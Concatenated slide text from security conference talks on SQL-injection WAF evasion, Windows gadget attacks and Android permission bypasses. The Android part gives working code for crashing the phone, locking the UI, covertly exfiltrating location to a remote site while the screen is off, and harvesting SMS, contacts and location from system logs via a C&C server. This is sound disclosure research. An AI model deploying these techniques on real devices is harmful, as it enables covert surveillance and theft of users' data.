exponents (oracle) More Operators! • !=, <=> (mysql), <> (mssql), ^= (oracle) • !>, !< not less than, (mssql) • /\ Bitwise XOR (oracle) Expressions! • Using the common query extension of "OR 1=1" • Besides using literals, one can use functions: • COS(0) = SIN(PI()/2) • COS(@VERSION) = -SIN(@VERSION + PI()/2) EXCEPT (mssql) MINUS (Oracle) • Like UNION, UNION ALL • But returns all results from first query minus/except the ones from the second query • There is also INTERSECT as well. • I think someone clever could use these, typically not in WAF rules. Side Note: "IN" lists • e.g. ....WHERE id IN (1,2,3,4) .... • These have to be manually created. • There is no API or parameter binding for this construct in any platform,framework or language. • There is no consistent, safe way to make this (other than convention, validation) Why don't we see more attacks using these techniques? • Dumb attacks work (for now) • I don't get see the more advanced attacks What's Next? • Add more parsing rules to libinjection • More testing frameworks • Investigate BIGINT types • pgsql has a regexp engine, and various other datatypes • Worry about various character encodings Primary References • http://dev.mysql.com/doc/refman/5.6/en/ func-op-summary-ref.html • http://www.postgresql.org/docs/9.1/static/ functions.html • http://msdn.microsoft.com/en-us/library/ bb510741 • http://docs.oracle.com/cd/B28359_01/ Thanks! Nick Galbreath @ngalbreath [email protected] https://github.com/client9/libinjection
pdf
We have you by the gadgets Hitting your OS below the belt Legal Notice Our opinion is our own. It DOES NOT IN ANY WAY represent the view of our employers. whoami - Toby whoami - Mickey Agenda • Who we are • What are Gadgets o A little bit of history o Why this matters o How to develop gadgets o Gadget security model • What's wrong with them • Attack Surface • Problems found • Demos • What do you do about it? Thank you: Itzik Kotler, FX, Ian Amit, Jayson Street, SophSec, Wim Remes, Aviv Raff, Gal Diskin #include <full_list.h> What are Gadgets • Little applications that run on your Windows desktop • For instance: A little bit of history • Windows XP - Concept first introduced as "Active Desktop" o Allowed you to put updating content on your desktop. • Vista - Sidebar introduced, first mention of "gadgets" o Gadgets ran in the sidebar "container" couldn't be placed randomly on the desktop • Windows 7 - significant changes o Improvements in management: o Gadgets now can be anywhere on the desktop o All gadgets run in a single process o Addition of the enterprise security features o Also - New stuff to help in development Why this still matters • Gadget use is in decline • But! This style of app development is taking off o Container-based apps for smartphones that allow you to do all your dev in HTML, XML, Javascript, etc… Windows Vista Sidebar Windows 7 Gadgets Creating Gadgets • Just a zip file Creating Gadgets • Usually just a web app o html o css o javascript o gadget specific manifest file • Can also be WPF or Silverlight Gadget Security Model MSFT provides a detailed explanation o (see references) • Code signing is possible but not required • Prompt for install similar to standard applications: Gadget Security Model • Most similar to HTA - HTML Applications • Basically run in "Local Machine Zone" with some differences: o Can instantiate any installed ActiveX object o UAC  Runs as standard user even if the user is part of the admin group  Can't raise UAC prompts BUT! apps launched by a gadget can • Parental Controls apply Gadget Security Model • Some enterprise controls available o Turn off Windows Sidebar. o This policy allows administrators to completely disable the Windows Sidebar. o Disable unpacking and installation of gadgets that are not digitally signed.  Only affects gadgets that are downloaded and installed by double-clicking on the gadget package. All previously installed gadgets, as well as those installed manually, will still function. o Turn off user-installed gadgets. o Override the "Get more gadgets online" link. Attack Surface • Attacking with gadgets • Attacking gadgets Attacking with gadgets • Delivery: o Install this gadget? Sure! • Sidebar gadgets aren't perceived as being dangerous software or even software at all Attacking with gadgets • So I installed your gadget, so what? • I can't do much, just this: o Execute code  Game over • Also: o Open URLs o Create files with arbitrary content o Read files o Make your computer speak Attacking with gadgets • Demo time Attacking Gadgets • Gadgets are code. Therefore gadgets are vulnerable • Step 1 - Search for gadgets • Step 2 - Analyze • Step 3 - ... • Step 4 - Profit (and share the findings) Attacking Gadgets • LOTS of malware claiming to be gadgets • Minimal use of SSL • Lots of ad server connections (no ads displayed) o And domain parking sites • A couple primary producers, shared code between gadgets o If you find something in one, it's probably in the others Attacking Gadgets • Poor security practices, easy targets o Multiple ways to inject code o Default Permissions is "full" • Traffic sniffing • Easy to spot o (x64) Attacking Gadgets – Traffic Sniffing • SSL is haaaaard • All downloaded gadgets pulled most of their content w/o SSL • Including updated gadget code in some cases Attacking Gadgets - MitM • There are not many gadgets out there, capturing their requests is simple. (AirPwn) • Using a custom simple proxy to automate injection. • Demo Attacking Gadgets – Code Injection • Any web scripting language o Or powershell • Demo What to do about it? • Code is code o Remember not to take candy from strangers • Write applications properly • Microsoft’s solution •Security Advisory 2719662 • “Microsoft is aware of vulnerabilities in insecure Gadgets affecting the Windows Sidebar on supported versions of Windows Vista and Windows 7” •Fix It Solution • Engineering solution that removes the attack vector. •Moving away from the Windows Sidebar and towards the Windows Store. • Deprecated the Windows Gadget Gallery • Updated developer documentation Microsoft Solution Prior Work Standing on the shoulders of giants • CVEs o CVE 2007-3032 o CVE 2007-3033 o CVE 2007-3891 • Presentations o The Inherent Insecurity of Widgets and Gadgets - Aviv Raff, Ian Amit o Jinx - Malware 2.0 - Itzik Kotler, Jonathan Rom References • Gadget Security Model o http://msdn.microsoft.com/en-us/library/ff486358.aspx • Writing Secure Gadgets o http://msdn.microsoft.com/en- us/library/bb498012.aspx
pdf
THESE AREN’T THE PERMISSIONS YOU’RE LOOKING FOR Anthony Lineberry David Luke Richardson Tim Wyatt DefCon 18 AGENDA • Android Internals Overview • Security/Permission Model • Why Ask For Permission When You Can Ask For Forgiveness? • Log-Cat – Our Inside Mole • The Ultimate Permission (Yes, we’re talking about root) • Mitigation ANDROID INTERNALS Diving Into the Belly of the Beast ANDROID MANIFEST • AndroidManifest.xml – Every application must have one • Declares the package name, a unique identifier for every app • Describes applications components (Activities, Services, BroadcastReceivers, etc) • Declares requested permissions “needed” to access protected API’s (If only there were a way to get around that...) • Declares permissions other applications are required to have to interact with applications components ACTIVITY • A way for users to interact with the application • Composed of Views: • Button • TextView • ImageView • etc... ACTIVITY • Managed as an Activity stack • New/foreground activity on top of stack. In running/active state • Previous Activities below in paused state • Removed from stack when Activity finishes ACTIVITY • An application can start another application’s Activity! • Activity runs in its application’s process. • Callee doesn’t necessarily have access to Activity’s data • Permission attribute in manifest can restrict who can start the permission INTENT • “An abstract description of an operation to be performed” • Simple IPC for applications • Intents can be sent with data INTENT • Can be used to start an Activity with startActivity() • Intents can be broadcast system wide with sendBroadcast() • Communicate with a background Service • Two main components: • Action • Data (URI: http:, content:, geo:, etc...) Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")); startActivity(myIntent); BROADCAST RECEIVER • Receives an Intent • Can be created dynamically with registerBroadcast() or declared in the manifest with the <receiver> tag • Receives two types of broadcasts: • Normal Broadcasts – Asynchronous; Cannot be aborted • Ordered Broadcasts – Delivered serially; Can be aborted or pass result to next receiver BROADCAST RECEIVER • Permissions can be enforced • Sender can declare permission for who can receive the Intent • Receiver can declare permission for who can send an Intent to it SERVICE • Component to do work in the background • NOT a separate process • NOT a thread • Kind of like an Activity without a UI • Can enforce access to service with a required permission SECURITY/PERMISSION MODEL The Mythical Sandbox THE SANDBOX • Not a VM sandbox as many believe • Unix multi-user (uid/gid) sandbox! • Each app is a different uid • Lightweight VM running for each process • Breaking out of the VM gains you nothing • Apps can request to share a uid (Both must be signed with the same key) PERMISSIONS • Default application has no permissions granted • Finer grained access to content/APIs • android.permission.READ_SMS • android.permission.CHANGE_WIFI_STATE • etc.. • Declared in AndroidManifest.xml WHY ASK FOR PERMISSION WHEN YOU CAN ASK FOR FORGIVENESS? WHY PERMISSIONS MATTER • Permissions gate what an App can do • Users are required to OK permissions before downloading an App • Users can decipher to some degree whether permissions are appropriate WHY PERMISSIONS MATTER WHY PERMISSIONS MATTER VS WHAT DOES 0 PERMISSIONS MEAN? • No permission screen at all! • Straight to download • Why should a user worry about an App Android doesn’t warn about? REBOOT WITH 0 PERMISSIONS • REBOOT permission is not normally grantable to apps. • Requires SystemOrSignature • But that won’t stop us! <!-- Required to be able to reboot the device. --> <permission android:name="android.permission.REBOOT" android:label="@string/permlab_reboot" android:description="@string/permdesc_reboot" android:protectionLevel="signatureOrSystem" /> • There are many approaches depending on Android OS Version • The easiest and most reliable we’ve found so far involves Toast notifications REBOOT WITH 0 PERMISSIONS • Every time you try to display a Toast it creates a weak JNI reference in system_server while (true) { Toast.makeText(getApplicationContext(), "Hello World", Toast.LENGTH_LONG).show(); } REBOOT WITH 0 PERMISSIONS D/dalvikvm( 59): GREF has increased to 2001 W/dalvikvm( 59): Last 10 entries in JNI global reference table: W/dalvikvm( 59): 1991: 0x44023668 cls=Ljava/lang/ref/WeakReference; (28 bytes) ... W/dalvikvm( 59): 2000: 0x44019818 cls=Ljava/lang/ref/WeakReference; (36 bytes) W/dalvikvm( 59): JNI global reference table summary (2001 entries): W/dalvikvm( 59): 101 of Ljava/lang/Class; 164B (54 unique) W/dalvikvm( 59): 2 of Ldalvik/system/VMRuntime; 12B (1 unique) W/dalvikvm( 59): 1 of Ljava/lang/String; 28B W/dalvikvm( 59): 1571 of Ljava/lang/ref/WeakReference; 28B (1571 unique) ... W/dalvikvm( 59): Memory held directly by tracked refs is 70248 bytes E/dalvikvm( 59): Excessive JNI global references (2001) E/dalvikvm( 59): VM aborting I/DEBUG ( 31): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 31): Build fingerprint: 'generic/google_sdk/generic/:2.2/FRF42/36942:eng/test-keys' I/DEBUG ( 31): pid: 59, tid: 218 >>> system_server <<< I/DEBUG ( 31): signal 11 (SIGSEGV), fault addr deadd00d I/DEBUG ( 31): r0 00000374 r1 0000000c r2 0000000c r3 deadd00d I/DEBUG ( 31): r4 00000026 r5 80887fc4 r6 fffe9181 r7 000007d1 I/DEBUG ( 31): r8 4889bb88 r9 42970f40 10 42970f28 fp 002535f8 I/DEBUG ( 31): ip 808881ec sp 4889bad8 lr afd154c5 pc 8083b162 cpsr 20000030 I/DEBUG ( 31): #00 pc 0003b162 /system/lib/libdvm.so • At 2001* global references system_server SIGSEGVs • Exact number depends on hardware and OS version REBOOT WITH 0 PERMISSIONS • Custom Toasts are also implementable, which can display any view • Including invisible views! while (true) { // Invisible toast Toast t = new Toast(getApplicationContext()); t.setView(new View(getApplicationContext())); t.show(); } REBOOT WITH 0 PERMISSIONS RECEIVE_BOOT_COMPLETE WITH 0 PERMISSIONS • Permission to “automatically start at boot” • Too easy - The permission isn’t checked! <receiver android:name="AppLauncher"> <intent-filter android:priority="1000"> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <!-- Oops! <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETE" /> --> START ON INSTALL WITH 0 PERMISSIONS • Interesting trick to use in conjunction with another attack • No permission exists to allow this functionality • Google Analytics referrer tracking to the rescue! <!-- Used for install referrer tracking --> <receiver android:name="com.google.android.apps.analytics.AnalyticsReceiver" android:exported="true">   <intent-filter>     <action android:name="com.android.vending.INSTALL_REFERRER" />   </intent-filter> </receiver> START ON INSTALL WITH 0 PERMISSIONS • Just write your own Receiver • But there are some caveats... <!-- Used for to launch my app --> <receiver android:name="com.nethack.LaunchOnInstallReceiver">   <intent-filter>     <action android:name="com.android.vending.INSTALL_REFERRER" />   </intent-filter> </receiver> START ON INSTALL WITH 0 PERMISSIONS • Requires referrer included in URL leading to App • Admob • Weblink • OR Android 2.2 • Always includes referrer info market://details?id=com.nethack&referrer=utm_source%3Dadmob %26utm_medium%3Dbanner%26utm_term%3Darcade%252Bgame %26utm_campaign%3DMalicious_Campaign market://details?id=com.nethack&referrer=autostart market://details? id=com.nethack&referrer=utm_source=androidmarket&utm_medium=devic e& utm_campaign=filtered&utm_content=GAMES/free&rowindex=34 CIRCLE OF DEATH UI HOSTILE TAKEOVER WITH 0 PERMISSIONS • Launch activity that consumes all KeyPresses • Can’t swallow HOME or long press of HOME • Relaunch when Activity exits • Activity can’t launch itself when destroyed, however public boolean onKeyDown(int keyCode, KeyEvent event) { return true; } • So create a circle of death • When Activity is destroyed, launch a Service. Service relaunches destroyed Activity // RestartService public void onCreate() { super.onCreate(); startActivity(new Intent(getApplicationContext(), MaliciousActivity.class) .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)); } // MaliciousActivity protected void onDestroy() { super.onDestroy(); startService(new Intent(getApplicationContext(), RestartService.class)); } CIRCLE OF DEATH WITH 0 PERMISSIONS • To remove boot into safe mode (No non-system apps are able to run) and uninstall the malicious application. • Bonus points: Maximize volume and play an obnoxious sound. CIRCLE OF DEATH WITH 0 PERMISSIONS • Apps or games not requesting INTERNET seem low risk. • Your sandbox can’t access the internet. • Ask your neighbor! • Pop open a browser. NetHack startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite.com/data?lat=" + lat + "&lon=" + lon))); UPLOAD WITH 0 PERMISSIONS • Can we do this secretly? • Obscuring browser (onPause()) stops page from loading. 32.175.xxx.xxx - - [03:30:36] "GET /data?lat=123.2&lon=32.2 HTTP/1.1" 404 203 UPLOAD WITH 0 PERMISSIONS • How about we only pop up browsers when the screen is off? • Need to close browser when the screen turns on • Bonus Points: Redirect to http://www.google.com when you’re done (or read browser history from logs) UPLOAD WITH 0 PERMISSIONS // Lets send if no one is looking! PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); if (!pm.isScreenOn()) { Log.e("NetHack", "Screen off"); startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags (Intent.FLAG_ACTIVITY_NEW_TASK)); mBrowserDisplayed = true; } else if (mBrowserDisplayed) { Log.e("NetHack", "Screen on"); startActivity(new Intent(Intent.ACTION_MAIN).addCategory (Intent.CATEGORY_HOME)); mBrowserDisplayed = false; } But what about two way communication? UPLOAD WITH 0 PERMISSIONS INTERNET WITH 0 PERMISSIONS • Pop browser to page with downloadable content-type (http://mysite.com/data.zip) • Default Android browser automatically saves it to /sdcard/ downloads/data.zip • But there are some downsides... • No way to clear notifications • To clean up the filesystem you need to request WRITE_EXTERNAL_STORAGE • Automatically requested if you target Android 1.5 INTERNET WITH 0 PERMISSIONS • How about a custom URI receiver? • Google Maps uses geo:latitude,longitude?zoom to automatically launch their App • We can do the same! INTERNET WITH 0 PERMISSIONS • We can register ourselves for nethack:// • Redirect our page from before to nethack:data?param=server_data • This has to be an <activity>, not a <receiver> (It is meant for foreground interactions) <!-- AndroidManifest.xml --> <activity android:name=".NetHackReceiver"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="nethack" android:host="data"/> </intent-filter> </activity> INTERNET WITH 0 PERMISSIONS • Activity is never seen if you call finish() in onCreate() • Data is available in the Intent • Bonus Points: New tab for nethack URI and redirect original page to http://google.com public class NetHackReceiver extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.e("NetHack", "URI: " + getIntent().toURI()); finish(); // So no one ever sees this activity } } E/NetHack ( 8647): URI: nethack:data?param=MySecret #Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;la unchFlags=0x400000;component=com.lookout.nethack/.NetHack;end INTERNET WITH 0 PERMISSIONS INTERNET WITH 0 PERMISSIONS Demo APPLICATION LOGGING import android.util.Log; ... public class MyClass { ... private static final String TAG = "MyLogTag"; ... Log.d(TAG, "Some log content goes here”); ... } LOG DEVICES • Main – /dev/log/main • Events – /dev/log/events • Radio – /dev/log/radio • System – /dev/log/system /DEV/LOG/EVENTS “This is not the main "logcat" debugging log (Log)! These diagnostic events are for system integrators, not application authors.” (android.util.EventLog reference) I/force_gc( 372): bg I/dvm_gc_info( 372): [8462382925454000962,-9202961561028941785,-4012281790553425882,8525709] I/dvm_gc_madvise_info( 363): [688128,311296] I/dvm_gc_madvise_info( 372): [479232,311296] I/force_gc( 382): bg I/dvm_gc_info( 382): [7526750061301363334,-9210279910440200153,-4012281790553425882,8525709] I/force_gc( 178): bg I/dvm_gc_madvise_info( 382): [512000,307200] I/dvm_gc_info( 178): [8315180330336522432,-9221538084707051476,-4007778190926055386,8525813] I/force_gc( 567): bg I/dvm_gc_info( 567): [7218827569570034728,-9170310257555277784,-4011718840600004570,8525709] I/dvm_gc_madvise_info( 178): [671744,311296] I/dvm_gc_madvise_info( 567): [483328,315392] I/force_gc( 235): bg I/dvm_gc_info( 235): [7146757855084082108,-9181568294349572049,-4006370816042502106,8554528] I/dvm_gc_madvise_info( 235): [638976,303104] I/dvm_gc_info( 1225): [7161125164967880680,-8904595954992383958,-3999052466648025050,8628270] I/dvm_gc_madvise_info( 1225): [2109440,311296] I/battery_level( 89): [95,4188,281] I/force_gc( 235): bg I/dvm_gc_info( 235): [7146757855084016338,-9201834492672739281,-4006370816042502106,8554528] I/dvm_gc_madvise_info( 235): [638976,303104] /DEV/LOG/RADIO • Radio command stream and debug data D/CDMA ( 182): [CdmaDataConnection] DataConnection.clearSettings() D/CDMA ( 182): [DataConnection] Stop poll NetStat D/CDMA ( 182): [CdmaDataConnectionTracker] setState: IDLE D/CDMA ( 182): [CdmaDataConnectionTracker] ***trySetupData due to dataEnabled D/CDMA ( 182): [CdmaDataConnection] DataConnection.getState() D/CDMA ( 182): [HtcRadio] Data state:ResourceReleaseWaiting -> Connecting, released=true D/CDMA ( 182): [DGRD1] dataState=CONNECTING, mode=0x44800000->44800000 D/CDMA ( 182): [CdmaDataConnection] CdmaDataConnection Connecting... D/RILJ ( 182): [0399]> SETUP_DATA_CALL 0 0 null null null 3 D/CDMA ( 182): [CdmaDataConnectionTracker] setState: INITING D/HTC_RIL ( 53): ril_func_config_and_activate_pdp():called D/HTC_RIL ( 53): ril_func_config_and_activate_pdp():0,0 D/HTC_RIL ( 53): @(t=1280205773)>> 13:up: 3 D/RILJ ( 182): WAKE_LOCK_TIMEOUT mReqPending=0 mRequestList=1 D/RILJ ( 182): 0: [399] SETUP_DATA_CALL I/HTC_RIL ( 53): queue_get():<qmi_read_str_q> timeout (20000 msec) to get! D/HTC_RIL ( 53): qmi_send_recv_procedure():QMI timeout (up: 3) 1 time(s) D/RILJ ( 182): [0399]< SETUP_DATA_CALL error: com.android.internal.telephony.CommandException: GENERIC_FAILURE D/CDMA ( 182): [CdmaDataConnection] DataConnection.handleMessage() E/CDMA ( 182): CdmaDataConnection Init failed com.android.internal.telephony.CommandException: GENERIC_FAILURE D/RILJ ( 182): [0400]> LAST_DATA_CALL_FAIL_CAUSE D/HTC_RIL ( 53): ril_func_get_last_pdp_fail_cause():called D/HTC_RIL ( 53): @(t=1280205793)>> 13:poll D/HTC_RIL ( 53): qmi_read_thread():qmi read thread got [[STATE=down /DEV/LOG/MAIN I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1 V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear] D/AlarmManager( 89): scheduleTimeTickEvent: Current time 1280206500021 D/AlarmManager( 89): scheduleTimeTickEvent: Next TIME_TICK broadcast time 1280206560000 D/StatusBarPolicy( 89): Received Intent: android.intent.action.TIME_TICK D/StatusBarPolicy( 89): Current time is 1280206500084 D/StatusBar( 89): performAddUpdateIcon icon=IconData(slot='clock' text='9:55 PM') notification=null key=android.os.Binder@46ac2d10 I/ClockWidget( 202): weatherClock onReceive~ action:android.intent.action.TIME_TICK mPaused:true I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1 V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear] I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1 V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear] I/wpa_supplicant( 1483): CTRL-EVENT-SCAN-RESULTS Ready I/wpa_supplicant( 1483): wpa_disabled_ssid_list_clear E/wpa_supplicant( 1483): wpa_supplicant_ctrl_iface_ap_scan: 1 V/WifiMonitor( 89): Event [wpa_disabled_ssid_list_clear] LOGCAT $ adb logcat D/dalvikvm( 189): GC freed 480 objects / 22376 bytes in 70ms D/HtcLockScreen( 85): onRefreshBatteryInfo: 15 I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required. I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required. D/BatteryService( 85): isUsbConnected() = true D/BatteryService( 85): mPlugType = 2 D/WifiService( 85): ACTION_BATTERY_CHANGED pluggedType: 2 D/UsbConnectedReceiver( 216): action = psclient.intent.action.usb_status D/UsbConnectedReceiver( 216): ACTION_BATTERY_CHANGED D/UsbConnectedReceiver( 216): usbCurrentType = 2 D/UsbConnectedReceiver( 216): Current type is same as previous, return! D/dalvikvm( 146): GC freed 72 objects / 3232 bytes in 99ms D/dalvikvm( 146): GC freed 107 objects / 4360 bytes in 83ms D/HtcLockScreen( 85): onRefreshBatteryInfo: 16 I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required. I/global ( 85): Default buffer size used in BufferedReader constructor. It would be better to be explicit if an 8k-char buffer is required. D/WifiService( 85): ACTION_BATTERY_CHANGED pluggedType: 2 D/BatteryService( 85): isUsbConnected() = true D/BatteryService( 85): mPlugType = 2 D/UsbConnectedReceiver( 216): action = psclient.intent.action.usb_status D/UsbConnectedReceiver( 216): ACTION_BATTERY_CHANGED D/UsbConnectedReceiver( 216): usbCurrentType = 2 D/UsbConnectedReceiver( 216): Current type is same as previous, return! PERMISSIONS • Ability to read logs is gated by android.permission.READ_LOGS • shell is granted this permission for adb debugging • READ_LOGS is in some ways an alias for READ* public static final String READ_LOGS Since: API Level 1 Allows an application to read the low-level system log files. These can contain slightly private information about what is happening on the device, but should never contain the user's private information. Constant Value: "android.permission.READ_LOGS" THE CLIENT • Android Service that requests: • android.permission.READ_LOGS • android.permission.INTERNET • Downloads policies from the server • Periodically delivers logs matching regex LOGCATDEVICE public class LogcatDevice extends LogSource { ... public void open() throws IOException { StringBuilder command = new StringBuilder("logcat"); File devFile = new File(DEVLOG + buffer); if (devFile.exists()) { command.append(" -b ").append(buffer); } else { throw new IOException("Requested device does not exist."); } process = Runtime.getRuntime().exec(command.toString()); input = process.getInputStream(); reader = new BufferedReader(new InputStreamReader(input)); } ... } LOGMONITOR public class LogMonitor { ... private void monitor(LogSource source) { while (running) { String data = source.nextEntry(); List<Matcher> matches = this.filter.matches(data); if (matches.isEmpty() == false) { trackEntry(source.getFacility(), data, matches); } } } ... } MONITOR SERVICE public class LogMonitorService extends Service { ... public void onCreate() { ... this.monitor = new LogMonitor(); for (String buffer : LogSource.ALLDEVICES) { ... monitor.addSource(new LogcatDevice(buffer)); ... } ... } public int onStartCommand(Intent intent, int flags, int startId) { return START_STICKY; } } SERVER • Rails server supplies C&C and processes device data • Supplies per-device policies • Receives logs meeting policies • Provides an interface to explore logs from multiple devices • Extracts and post-processes log data POLICIES, ETC. • Threw out a few random keywords (insert, update, delete, intent, content, http, etc.) • Picked a couple of pieces of data to toss around • Setup initial expressions and started pushing data through devices. DB_SAMPLE • Logs the first 64 characters of a sampling of queries • Sample rate is based on query execution time I/db_sample( 342): [/data/data/com.android.providers.media/ databases/external-115b1495.db,SELECT _id, _data, date_modified FROM audio,41,,9] CONTENT_SAMPLE • Similar to db_sample, but applies to content provider operations I/content_query_sample( 1327): [content://com.android.contacts/ phone_lookup/%2B1415XXXXXXX,_id/lookup,,,386,,78] • GET_TASKS • DUMP I/ActivityManager( 84): Starting activity: Intent { act=android.intent.action.MAIN cat= [android.intent.category.LAUNCHER] flg=0x10200000 cmp=com.infonow.bofa/ com.infonow.android.activity.RootActivity } I/DEBUG ( 31): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 31): Build fingerprint: 'generic/google_sdk/generic/:2.2/FRF42/36942:eng/test- keys' I/DEBUG ( 31): pid: 59, tid: 190 >>> system_server <<< I/DEBUG ( 31): signal 11 (SIGSEGV), fault addr deadd00d I/DEBUG ( 31): r0 00000374 r1 0000000c r2 0000000c r3 deadd00d I/DEBUG ( 31): r4 00000026 r5 80887fc4 r6 fffe9181 r7 000007d1 I/DEBUG ( 31): r8 48269b88 r9 429a6f40 10 429a6f28 fp 0021a438 I/DEBUG ( 31): ip 808881ec sp 48269ad8 lr afd154c5 pc 8083b162 cpsr 20000030 I/DEBUG ( 31): #00 pc 0003b162 /system/lib/libdvm.so ... I/DEBUG ( 31): stack: I/DEBUG ( 31): 48269a98 00000015 I/DEBUG ( 31): 48269a9c afd1453b /system/lib/libc.so GET_TASKS AND DUMP WITH READ_LOGS I/ActivityManager( 85): Starting activity: Intent { act=android.intent.action.VIEW cat= [android.intent.category.BROWSABLE] dat=http://www.google.com/m?client=ms-android- verizon cmp=com.android.browser/.BrowserActivity } D/HtcBookmarkUtility( 6341): start updateHTCScreenshot(), original=http://www.google.com/ m/search?q=something+embarrassing&aq=f&oq=&aqi=g6- k0d0t0&fkt=4484&fsdt=19163&csll=&action=&ltoken=ae3da9c5f9727, url=http:// www.google.com/m/search?q=something+embarrassing&aq=f&oq=&aqi=g6- k0d0t0&fkt=4484&fsdt=19163&csll=&action=&ltoken=ae3da9c5f9727 READ_HISTORY_BOOKMARKS WITH READ_LOGS D/ComposeMessageActivity( 376): Before Send Address:510XXXXXXX Send Message Body:Blackhat D/SmsMessageSender( 376): Send Message To:510XXXXXXX Body[Blackhat] D\debug ( 699): Received SMS: Something realllly embarrassing READ_SMS WITH READ_LOGS D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Call mobile D/HtcViewContactDetailActivity( 518): buildEntries sData: 4156666666 ... D/HtcViewContactDetailActivity( 518): buildEntries sLabel: null D/HtcViewContactDetailActivity( 518): buildEntries sData: Firstname Lastname ... D/HtcViewContactDetailActivity( 518): buildEntries sLabel: Email home D/HtcViewContactDetailActivity( 518): buildEntries sData: [email protected] READ_CONTACTS WITH READ_LOGS /dev/log/main: D/NetworkLocationProvider( 71): onCellLocationChanged [LAC,CELLID] V/LocationManagerService( 89): CdmaCellLocation latitude: 37.781666666666666 longitude: -122.39555555555556 I/ClockWidget( 182): onReceiverWeatherData~ data:type: 1, param1: , param2: , update: Sun Jul 25 19:22:33 America/ Los_Angeles 2010, param2: , curTempC: 16, curTempF: 61, curConditionId: 03, fstName: [Sun, Mon, Tue, Wed, Thu], fstDate: [7/25/2010, 7/26/2010, 7/27/2010, 7/28/2010, 7/29/2010], fstConditionId: [03, 04, 02, 02, 02], fstHighTempC: [22, 22, 22, 24, 24], fstHighTempF: [71, 72, 72, 75, 75], fstLowTempC: [13, 12, 12, 12, 13], fstLowTempF: [56, 54, 54, 54, 56], curLocLat: 37.787392, curLocLng: -122.392922, curLocLatTrim: 37.787, curLocLngTrim: -122.392, curLocName: San Francisco, curLocState: California, curLocCountry: United States, curLocTimezoneId: America/Los_Angeles /dev/log/radio: D/RILJ ( 204): [1274]< OPERATOR {AT&T, , 310410} D/RILJ ( 144): [0098]< REGISTRATION_STATE {1, 0xCELLID, 0xLAC, 9, null, null, null, null, null, null, null, null, null, null} ACCESS_COARSE_LOCATION WITH READ_LOGS RESOLVING LOCATION require 'httparty' class CellLocator def self.request(mcc, mnc, lac, cellid) response = HTTParty.get('http://cellid.labs.ericsson.net/json/lookup', :query => { :key => 'MY_API_KEY', :base => 10, :mcc => mcc, :mnc => mnc, :lac => lac, :cellid => cellid }) return response["position"] end end D/WeatherClockWidget( 114): Query Weather data by Latitude: 37.779874, Longitude: -122.397273 V/GpsLocationProvider( 89): reportLocation lat: 37.78005123138428 long: -122.39708304405212 timestamp: 1280180485000 V/libgps ( 89): lat: 37.780051, long: -122.397083 D/libgps ( 1020): GpsInterface_inject_location( 37.780187, -122.397607, 56.000 ) ACCESS_FINE_LOCATION WITH READ_LOGS A STORY ... ABOUT 3 GUYS HEADING DOWN 101 ... TO SFO AND HEAD TO VEGAS ... ARRIVING AT MCCARRAN ... TAKE A CAB ACROSS TOWN ... TO CAESAR’S PALACE TO DEFCON 18 THE ULTIMATE PERMISSION Yes, We’re Talking About Root # id uid=0(root) gid=0(root) THE ULTIMATE PERMISSION • Phones ship locked down • Everyone wants to use their phone to it’s full potential • Communities surrounding the rooting of phones have formed • Third party ROM’s available to users now HOW DOES ONE GET ROOT? • Android uses a Linux kernel (duh) • Lookup old kernel vulns and see if they work! • 1.5 (Cupcake) using 2.6.27 kernel • 1.6 (Donut), 2.0, 2.1(Eclair) using 2.6.29 • 2.2 (Froyo) using 2.6.32 • 3.0 (Gingerbread) will use 2.6.33/34 (Q4/2010) HOW DOES ONE GET ROOT? • Old/unpatched libraries! • suid binaries with vulns • Pretty much any traditional way since this is Linux CASE STUDY • Similar to libudev vuln (CVE-2009-1185). Discovered by Sebastian Krahmer • Patched in Android 4 days after exploit published • Failed check of NETLINK message origin (Did it come from the kernel? Or did a user send it?...) • Who was vulnerable to this?... http://android.git.kernel.org/?p=platform/system/core.git;a=commit;h=5f5d5c8cef10f28950fa108a8bd86d55f11b7ef4 uevent origin vuln CASE STUDY • Rewrote exploit to run as JNI code from the APK (With zero permissions!) uevent origin vuln CASE STUDY • Rewrote exploit to run as JNI code from the APK (With zero permissions!) • Every flagship phone... uevent origin vuln CASE STUDY • Rewrote exploit to run as JNI code from the APK (With zero permissions!) • Every flagship phone... • ...Of every major carrier in the US uevent origin vuln CASE STUDY • Rewrote exploit to run as JNI code from the APK (With zero permissions!) • Every flagship phone... • ...Of every major carrier in the US • Oops. uevent origin vuln THE ROOTING PROBLEM • People want their phones rooted • Rooting is being viewed as a vehicle for modding • Ignoring the large pink elephant – security issues • Unwilling to make details 